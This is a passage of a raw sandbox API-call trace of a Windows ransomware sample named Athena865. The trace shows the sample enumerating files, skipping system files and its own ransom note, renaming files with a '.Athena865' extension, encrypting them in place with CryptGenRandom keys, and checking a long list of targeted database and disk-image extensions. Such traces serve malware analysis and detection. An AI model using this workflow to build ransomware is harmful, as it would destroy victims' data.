(lpString1="7jk3oaLR.lnk", lpString2=".ini") returned 1 [0052.160] lstrlenW (lpString=".sys") returned 4 [0052.160] lstrcmpiW (lpString1="7jk3oaLR.lnk", lpString2=".sys") returned 1 [0052.160] lstrlenW (lpString="7jk3oaLR.lnk") returned 12 [0052.160] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\7jk3oaLR.lnk.Athena865") returned 76 [0052.160] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\7jk3oaLR.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\7jk3oalr.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\7jk3oaLR.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\7jk3oalr.lnk.athena865"), dwFlags=0x1) returned 1 [0052.161] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\7jk3oaLR.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\7jk3oalr.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.161] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=569) returned 1 [0052.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.161] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.162] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.162] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.162] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x540, lpName=0x0) returned 0x154 [0052.163] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x540) returned 0x100000 [0052.163] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.164] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.164] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.165] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.165] CloseHandle (hObject=0x154) returned 1 [0052.165] CloseHandle (hObject=0x17c) returned 1 [0052.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.166] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1dd7520, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1dd7520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1dd7520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x148a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7_xWSn.flv.lnk", cAlternateFileName="7_XWSN~1.LNK")) returned 1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2=".") returned 1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="..") returned 1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="windows") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="bootmgr") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="temp") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="pagefile.sys") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="boot") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="ids.txt") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="ntuser.dat") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="perflogs") returned -1 [0052.166] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2="MSBuild") returned -1 [0052.166] lstrlenW (lpString="7_xWSn.flv.lnk") returned 14 [0052.167] lstrcpyW (in: lpString1=0x241e8b4, lpString2="7_xWSn.flv.lnk" | out: lpString1="7_xWSn.flv.lnk") returned="7_xWSn.flv.lnk" [0052.167] lstrlenW (lpString="7_xWSn.flv.lnk") returned 14 [0052.167] lstrlenW (lpString="Athena865") returned 9 [0052.167] lstrcmpiW (lpString1="n.flv.lnk", lpString2="Athena865") returned 1 [0052.167] lstrlenW (lpString=".dll") returned 4 [0052.167] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2=".dll") returned 1 [0052.167] lstrlenW (lpString=".lnk") returned 4 [0052.167] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2=".lnk") returned 1 [0052.167] lstrlenW (lpString=".ini") returned 4 [0052.167] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2=".ini") returned 1 [0052.167] lstrlenW (lpString=".sys") returned 4 [0052.167] lstrcmpiW (lpString1="7_xWSn.flv.lnk", lpString2=".sys") returned 1 [0052.167] lstrlenW (lpString="7_xWSn.flv.lnk") returned 14 [0052.167] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\7_xWSn.flv.lnk.Athena865") returned 78 [0052.167] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\7_xWSn.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\7_xwsn.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\7_xWSn.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\7_xwsn.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.168] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\7_xWSn.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\7_xwsn.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.168] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5258) returned 1 [0052.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.171] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.171] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.171] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.172] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1790, lpName=0x0) returned 0x154 [0052.172] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1790) returned 0x100000 [0052.172] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.173] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.173] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.173] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.173] CloseHandle (hObject=0x154) returned 1 [0052.174] CloseHandle (hObject=0x17c) returned 1 [0052.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.174] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22e63e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb22e63e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb22e63e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x415, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8 S4kdjOc2hOb4-n7.lnk", cAlternateFileName="8S4KDJ~1.LNK")) returned 1 [0052.174] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.174] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.174] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2=".") returned 1 [0052.174] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="..") returned 1 [0052.174] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="windows") returned -1 [0052.174] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="bootmgr") returned -1 [0052.174] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="temp") returned -1 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="pagefile.sys") returned -1 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="boot") returned -1 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="ids.txt") returned -1 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="ntuser.dat") returned -1 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="perflogs") returned -1 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2="MSBuild") returned -1 [0052.175] lstrlenW (lpString="8 S4kdjOc2hOb4-n7.lnk") returned 21 [0052.175] lstrcpyW (in: lpString1=0x241e8b4, lpString2="8 S4kdjOc2hOb4-n7.lnk" | out: lpString1="8 S4kdjOc2hOb4-n7.lnk") returned="8 S4kdjOc2hOb4-n7.lnk" [0052.175] lstrlenW (lpString="8 S4kdjOc2hOb4-n7.lnk") returned 21 [0052.175] lstrlenW (lpString="Athena865") returned 9 [0052.175] lstrcmpiW (lpString1="b4-n7.lnk", lpString2="Athena865") returned 1 [0052.175] lstrlenW (lpString=".dll") returned 4 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2=".dll") returned 1 [0052.175] lstrlenW (lpString=".lnk") returned 4 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2=".lnk") returned 1 [0052.175] lstrlenW (lpString=".ini") returned 4 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2=".ini") returned 1 [0052.175] lstrlenW (lpString=".sys") returned 4 [0052.175] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.lnk", lpString2=".sys") returned 1 [0052.175] lstrlenW (lpString="8 S4kdjOc2hOb4-n7.lnk") returned 21 [0052.175] lstrlenW (lpString="bak") returned 3 [0052.175] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.175] lstrlenW (lpString="ba_") returned 3 [0052.175] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.175] lstrlenW (lpString="dbb") returned 3 [0052.175] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.175] lstrlenW (lpString="vmdk") returned 4 [0052.175] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.175] lstrlenW (lpString="rar") returned 3 [0052.175] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.175] lstrlenW (lpString="zip") returned 3 [0052.175] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.175] lstrlenW (lpString="tgz") returned 3 [0052.175] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.176] lstrlenW (lpString="vbox") returned 4 [0052.176] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.176] lstrlenW (lpString="vdi") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.176] lstrlenW (lpString="vhd") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.176] lstrlenW (lpString="vhdx") returned 4 [0052.176] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.176] lstrlenW (lpString="avhd") returned 4 [0052.176] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.176] lstrlenW (lpString="db") returned 2 [0052.176] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.176] lstrlenW (lpString="db2") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.176] lstrlenW (lpString="db3") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.176] lstrlenW (lpString="dbf") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.176] lstrlenW (lpString="mdf") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.176] lstrlenW (lpString="mdb") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.176] lstrlenW (lpString="sql") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.176] lstrlenW (lpString="sqlite") returned 6 [0052.176] lstrcmpiW (lpString1="n7.lnk", lpString2="sqlite") returned -1 [0052.176] lstrlenW (lpString="sqlite3") returned 7 [0052.176] lstrcmpiW (lpString1="-n7.lnk", lpString2="sqlite3") returned -1 [0052.176] lstrlenW (lpString="sqlitedb") returned 8 [0052.176] lstrcmpiW (lpString1="4-n7.lnk", lpString2="sqlitedb") returned -1 [0052.176] lstrlenW (lpString="xml") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.176] lstrlenW (lpString="$er") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.176] lstrlenW (lpString="4dd") returned 3 [0052.176] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.177] lstrlenW (lpString="4dl") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.177] lstrlenW (lpString="^^^") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.177] lstrlenW (lpString="abs") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.177] lstrlenW (lpString="abx") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.177] lstrlenW (lpString="accdb") returned 5 [0052.177] lstrcmpiW (lpString1="7.lnk", lpString2="accdb") returned -1 [0052.177] lstrlenW (lpString="accdc") returned 5 [0052.177] lstrcmpiW (lpString1="7.lnk", lpString2="accdc") returned -1 [0052.177] lstrlenW (lpString="accde") returned 5 [0052.177] lstrcmpiW (lpString1="7.lnk", lpString2="accde") returned -1 [0052.177] lstrlenW (lpString="accdr") returned 5 [0052.177] lstrcmpiW (lpString1="7.lnk", lpString2="accdr") returned -1 [0052.177] lstrlenW (lpString="accdt") returned 5 [0052.177] lstrcmpiW (lpString1="7.lnk", lpString2="accdt") returned -1 [0052.177] lstrlenW (lpString="accdw") returned 5 [0052.177] lstrcmpiW (lpString1="7.lnk", lpString2="accdw") returned -1 [0052.177] lstrlenW (lpString="accft") returned 5 [0052.177] lstrcmpiW (lpString1="7.lnk", lpString2="accft") returned -1 [0052.177] lstrlenW (lpString="adb") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.177] lstrlenW (lpString="adb") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.177] lstrlenW (lpString="ade") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.177] lstrlenW (lpString="adf") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.177] lstrlenW (lpString="adn") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.177] lstrlenW (lpString="adp") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.177] lstrlenW (lpString="alf") returned 3 [0052.177] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.178] lstrlenW (lpString="ask") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.178] lstrlenW (lpString="btr") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.178] lstrlenW (lpString="cat") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.178] lstrlenW (lpString="cdb") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.178] lstrlenW (lpString="ckp") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.178] lstrlenW (lpString="cma") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.178] lstrlenW (lpString="cpd") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.178] lstrlenW (lpString="dacpac") returned 6 [0052.178] lstrcmpiW (lpString1="n7.lnk", lpString2="dacpac") returned 1 [0052.178] lstrlenW (lpString="dad") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.178] lstrlenW (lpString="dadiagrams") returned 10 [0052.178] lstrcmpiW (lpString1="Ob4-n7.lnk", lpString2="dadiagrams") returned 1 [0052.178] lstrlenW (lpString="daschema") returned 8 [0052.178] lstrcmpiW (lpString1="4-n7.lnk", lpString2="daschema") returned -1 [0052.178] lstrlenW (lpString="db-journal") returned 10 [0052.178] lstrcmpiW (lpString1="Ob4-n7.lnk", lpString2="db-journal") returned 1 [0052.178] lstrlenW (lpString="db-shm") returned 6 [0052.178] lstrcmpiW (lpString1="n7.lnk", lpString2="db-shm") returned 1 [0052.178] lstrlenW (lpString="db-wal") returned 6 [0052.178] lstrcmpiW (lpString1="n7.lnk", lpString2="db-wal") returned 1 [0052.178] lstrlenW (lpString="dbc") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.178] lstrlenW (lpString="dbs") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.178] lstrlenW (lpString="dbt") returned 3 [0052.178] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.178] lstrlenW (lpString="dbv") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.179] lstrlenW (lpString="dbx") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.179] lstrlenW (lpString="dcb") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.179] lstrlenW (lpString="dct") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.179] lstrlenW (lpString="dcx") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.179] lstrlenW (lpString="ddl") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.179] lstrlenW (lpString="dlis") returned 4 [0052.179] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.179] lstrlenW (lpString="dp1") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.179] lstrlenW (lpString="dqy") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.179] lstrlenW (lpString="dsk") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.179] lstrlenW (lpString="dsn") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.179] lstrlenW (lpString="dtsx") returned 4 [0052.179] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.179] lstrlenW (lpString="dxl") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.179] lstrlenW (lpString="eco") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.179] lstrlenW (lpString="ecx") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.179] lstrlenW (lpString="edb") returned 3 [0052.179] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.179] lstrlenW (lpString="epim") returned 4 [0052.179] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.179] lstrlenW (lpString="fcd") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.180] lstrlenW (lpString="fdb") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.180] lstrlenW (lpString="fic") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.180] lstrlenW (lpString="flexolibrary") returned 12 [0052.180] lstrcmpiW (lpString1="2hOb4-n7.lnk", lpString2="flexolibrary") returned -1 [0052.180] lstrlenW (lpString="fm5") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.180] lstrlenW (lpString="fmp") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.180] lstrlenW (lpString="fmp12") returned 5 [0052.180] lstrcmpiW (lpString1="7.lnk", lpString2="fmp12") returned -1 [0052.180] lstrlenW (lpString="fmpsl") returned 5 [0052.180] lstrcmpiW (lpString1="7.lnk", lpString2="fmpsl") returned -1 [0052.180] lstrlenW (lpString="fol") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.180] lstrlenW (lpString="fp3") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.180] lstrlenW (lpString="fp4") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.180] lstrlenW (lpString="fp5") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.180] lstrlenW (lpString="fp7") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.180] lstrlenW (lpString="fpt") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.180] lstrlenW (lpString="frm") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.180] lstrlenW (lpString="gdb") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.180] lstrlenW (lpString="gdb") returned 3 [0052.180] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.180] lstrlenW (lpString="grdb") returned 4 [0052.180] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.181] lstrlenW (lpString="gwi") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.181] lstrlenW (lpString="hdb") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.181] lstrlenW (lpString="his") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.181] lstrlenW (lpString="ib") returned 2 [0052.181] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.181] lstrlenW (lpString="idb") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.181] lstrlenW (lpString="ihx") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.181] lstrlenW (lpString="itdb") returned 4 [0052.181] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.181] lstrlenW (lpString="itw") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.181] lstrlenW (lpString="jet") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.181] lstrlenW (lpString="jtx") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.181] lstrlenW (lpString="kdb") returned 3 [0052.181] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.181] 